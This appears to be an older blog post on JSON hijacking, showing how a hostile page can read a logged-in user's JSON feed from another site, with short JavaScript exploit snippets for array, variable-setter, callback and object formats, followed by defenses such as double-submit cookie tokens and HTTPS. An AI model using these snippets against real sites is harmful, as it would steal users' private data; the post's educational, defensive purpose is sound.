Practical CSRF and JSON Security

What’s all this fuss about

For the last couple of years JSON as a data transmission format has been gaining popularity. Fueled by a new generation of JS centric application developers, who didn’t grow up on XML files, but rather light weight JavaScript Object Notation that is easily handled by most server side languages, and is natively handled by JavaScript front ends without the need to parse using heavy weight browser crushing XML DOM crawling function.

It’s the natural data transfer medium of choice for the Web 2.0 world.

2 years ago, when we said to clients we would be using JSON not XML for our XMLHttpRequest data transfer medium we would have to not only have to justify it, but most of the time we had to explain what JSON was. These days, although still not a common as XML (which my Mum has heard of) we’re finding our more savvy clients are well aware of it and it’s benefits.

Many established feed provider that used to be provided in XML web services, or RSS format are now including JSON format options. It is a format that is used by powerhouses like Google, Yahoo, Del.icio.us, etc for data transfer for their XHR driven interfaces.

Of course now that it’s reach a nice level of saturation, as always with ‘new’ technologies, they become more attractive to hackers, phishers and other technology evil-doers. This leads to the good guys paying more attention to the risks and publicizing them - especially if those risks can be used as a differentiating factor between what they do for a living and what their competition does for a living.

For some reason Q1 2007 was JSON security panic quarter. The web is a light with blog posts, discussion hysteria, tech. articles about JSON. The debate is swinging back and forth. But what does it all mean.

Practical Examples

The basic gist of the idea is this:

good.com has a feed url that spits out your name, location and favorite fruit. This url is authenticated using straight cookies or session cookies, to ensure that this critical information is only given to the registered logged in user. The data is transmitted using JSON format code, as it it part of a rich XHR driven UI.

evil.com realizes that they can add to a phishing page a script tag that targets the url on the good.com site, browsers allow scripts to be loaded cross browser so the file can be loaded within context of the evil.com page.

The problem occurs, if Joe Smith, logs into good.com and gets a cookie that authenticates him, and he then goes to the evil.com page, when the url on good.com is requested the cookies is authenticated and the file is loaded. good.com assumes the person is allowed to have the file and that they are authenticated.

The problem becomes worse if the contents of the file request by the script tag comes down the pipe in away that a Javascript script tag can parse and access via other Javascript on the evil.com page.

If you work on the theory that if you can write the content to the browser window you could just as easily have a Javascript function that sends that data back to the evil.com server where they can do what they want with it.

This is where JSON and JavaScript responses become troublesome, because in certain structures they are returned to the script tag in a way that makes the contents easily accessible to the evil.com page.

The main 4 ways you can format your JSON response are:

  1. Array Format
  2. Variable Setter Format
  3. Call Back Function
  4. Object (bad format)
  5. Object (good format)

There are a number of examples floating around at the moment showing how each of these can be exploited, so I’ve compiled them into one place using a standard example format and hopefully this will give a good solid practical test bed for the exploits. I have setup a a series of demo static JSON responses on a different domain, and I’m serving them to a series of test exploit pages on this server. If I can get the JSON to render to the browser window using JavaScript, I am considering that a successful exploit:

Array Format

Demo Page

JSON Format Being Tested:

  1. [
  2.     [
  3.         "Joe Smith",
  4.         "London",
  5.         "Apples"
  6.     ]
  7. ]

Exploit Code:

  1. function Array() {
  2. var obj = this;
  3.     var ind = 0;
  4.     var getNext = function(x) {
  5.         obj[ind++] setter = getNext;
  6.         if (x) document.write(dump(x));
  7.     };
  8.     this[ind++] setter = getNext;
  9. }

This JSON format is a security risk, the exploit code is from a Joe Walker post. I don’t see this as being a major issue, as I have never seen that format of JSON, although I’m sure some people might have tried to use it, as it is an option in the JSON specifications.

Variable Setter

Demo Page

JSON Format Being Tested:

  1. var result = {
  2.   "person":{
  3.     "name":"Joe Smith",
  4.     "location":"London",
  5.     "fruit":"Apples"
  6.   }
  7. }

Exploit Code:

  1. document.write(result);

Probably the most insecure of them all, in terms of how easy it is to exploit. No one should be using this format for anything other than totally transparent data. It is also a very common example format, because it makes the handling of the JSON return with JavaScript easier to demonstrate.

Call Back Function

Demo Page

JSON Format Being Tested:

  1. callBackFunction({
  2.   "person":{
  3.     "name":"Joe Smith",
  4.     "location":"London",
  5.     "fruit":"Apples"
  6.   }
  7. })

Exploit Code:

  1. function callBackFunction(data){
  2.   document.write(data)
  3. }

About as insecure as the variable setting solution again it is also a very common example format, because it makes the handling of the JSON return with JavaScript easier to demonstrate. Again, should be totally avoided for anything expect public data transfer.

Object (bad format)

Demo Page

JSON Format Being Tested:

  1. ({
  2.   "person":{
  3.     "name":"Joe Smith",
  4.     "location":"London",
  5.     "fruit":"Apples"
  6.   }
  7. })

Exploit Code:

  1. var obj;
  2. function Object() {
  3.   obj = this;
  4.   // define a setter for the killme property
  5.   this.__defineSetter__(‘killme’, function(x) {
  6.     for (key in obj) {
  7.       if (key != ‘killme’) {
  8.         document.write(dump(obj));
  9.       }
  10.     }
  11.   });
  12.   // call the setter when the JSON parse is done
  13.   setTimeout("obj['killme']=2;", 0);
  14. }

This is the most recent in a serious of exploit hack from Joe Walkers Blog, this was originally credited to Mark Goodwin. It’s a touch obscure, relies on Mozilla specific functions, and it does have a tendency to mess with the browser in such a way that it doesn’t render a real page. But the bottom line is that this exploit can be used to access JSON Object format code and thus is it a successful exploit. Now Joe Walker says the same code also works with correct JSON formated code…..

…Object (good format)

Demo Page

JSON Format Being Tested:

  1. {
  2.   "person":{
  3.     "name":"Joe Smith",
  4.     "location":"London",
  5.     "fruit":"Apples"
  6.   }
  7. }

Exploit Code:

  1. var obj;
  2. function Object() {
  3.   obj = this;
  4.   // define a setter for the killme property
  5.   this.__defineSetter__(‘killme’, function(x) {
  6.     for (key in obj) {
  7.       if (key != ‘killme’) {
  8.         document.write(dump(obj));
  9.       }
  10.     }
  11.   });
  12.   // call the setter when the JSON parse is done
  13.   setTimeout("obj['killme']=2;", 0);
  14. }

Now I’ve tested this, in FF and I can’t get it to render anything, and although Joe Walkers example has the extra bracket in the code (as per the bad format example) he says that that’s just for the example and shouldn’t impact. But I am yet to be able to replicate this exploit, as are a couple of commentators on the thread…. but just because it’s safe now doesn’t mean it always will be.

Possible Solutions

It seems the general consensus in the industry is that double cookie confirmation is the least obtrusive and least complex way to solve this issue.

If your server side script is authenticating cookies before generating the JSON response, all you need to do is have the JavaScript that initiates the HTTP request, access that cookie on the client side and append a unique value to the POSTed, or GETed request parameters. In doing so the server can authenticate that not only does the requesting user agent have the cookie, but that they are also initiating the request from a page that has access rights to the cookie itself. If you’re on evil.com scripts on that page, have no way of accessing the cookie, because all browsers make cookies only accessible to the domain that generated them.

This solution does rely on the integrity if that cookie domain ownership, but at the end of the day if you can’t rely on that (because of a Trojan or virus) there are much bigger worries to be concerned with and the person browsing is probably susceptible to all kinds of phishing attacks, JSON is the least of their worries.

Edit

I’ve been giving this some further thought and I think I’ve changed my thinking slightly. It seems to be that the idea of adding a unique identifier to each form that is rendered to a page to be posted back ensures the integrity of the system in that you then know that requests must have come from a server generated location (rather than evil.com). Making those indentifiers unique to the user, session, form further increases that security as the identifier will change from click to click. This is very much following the Amazon S3 style of authentication (they use hashed combinations of a unique identifier and a timestamp to make a ‘digest’).

Conclusion

Yes, JSON and Javascript have their own unique loop holes when it comes to browser securities and sandboxing, in that you can load cross domain data and easily access it.

However, if you were building an application and relying solely on the browsers sandboxing to prevent cross domain forgery you are dependant on a 3rd party application that the user downloaded and installed to protect you/them.

There are two overriding things I see from the current ‘chatter’ about JSON security.

Do security correctly.
If you have ‘really’ important data being fed as a JSON response to an XHR request, surely you should be doing this all in a HTTPS environment anyway. I mean really, no bank in it’s right mind will have your account info available over regular old HTTP. If it was, then JSON hacks would be the last thing you should be worrying about. Packet sniffers spring to mind.

Don’t trust anyone
I remember back when I was first learning about database driven sites, having it drilled into me that it doesn’t matter how much you trust the source of the data, don’t ever trust the data. In the current climate of mashups, public API’s and social networking that level of paranoia seems to have calmed slightly. We’re also seeing the web open up and the entry point lower. You don’t need to be a 30 man team, with dedicated security experts to produce an application that tens of thousand of users might use to store critical confidential information. Kids in their teens are producing sites that become wildly successful running on linux boxes out of their Mom’s basements. Maybe it’s time to stop and take a look at who’s got data about us, and what are they doing to protect it

At the end of the day, a very simple fix like double submitting cookies solves most of the JSON security issue (I’ll post an example of it as soon as possible).

Blue Sky Thinking

Encrypt your JSON.

I was bouncing some ideas around the office and Rick and I had an interesting idea to encrypt all your JSON that you return, store the salt in a domain specific cookie and then use JavaScript to decrypt the response using that salt.

It theory it’s a nice idea, because you’re then protecting the information that might be sensitive. Except:

A: If you’re so worried that you need it encryted, you should be more careful about how you release the data. When it comes to data security, limiting who can get at the data is better than making the data hard to read…

B: Which leads us to the encryption. If the hacker has the data, it means he can in effect use unlimited resources to rack your encryption (he could have a server farm at hand). This means for this to be worth anything, your encryption had better be good….

C: Which leads us the browsers abilities to do decryption, and it’s not looking good. Even simple cryptography in JavaScript, in a browser is a hog, it takes a long time and data of any size will crush anything less than the fastest computer. One of the reasons we’re even using JSON is probably in an AJAX style application, where we’re hoping things are happening quickly. This approach kills that.

Again, if it’s that much of an issue, it should be being done over HTTPS. If it’s not ‘that’ important, then the double cookie submit works a treat.


About this entry